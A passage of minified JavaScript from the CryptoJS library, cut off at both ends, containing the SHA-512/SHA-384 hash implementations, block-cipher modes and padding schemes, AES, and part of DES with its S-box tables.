r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { - function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { - var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; - } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = 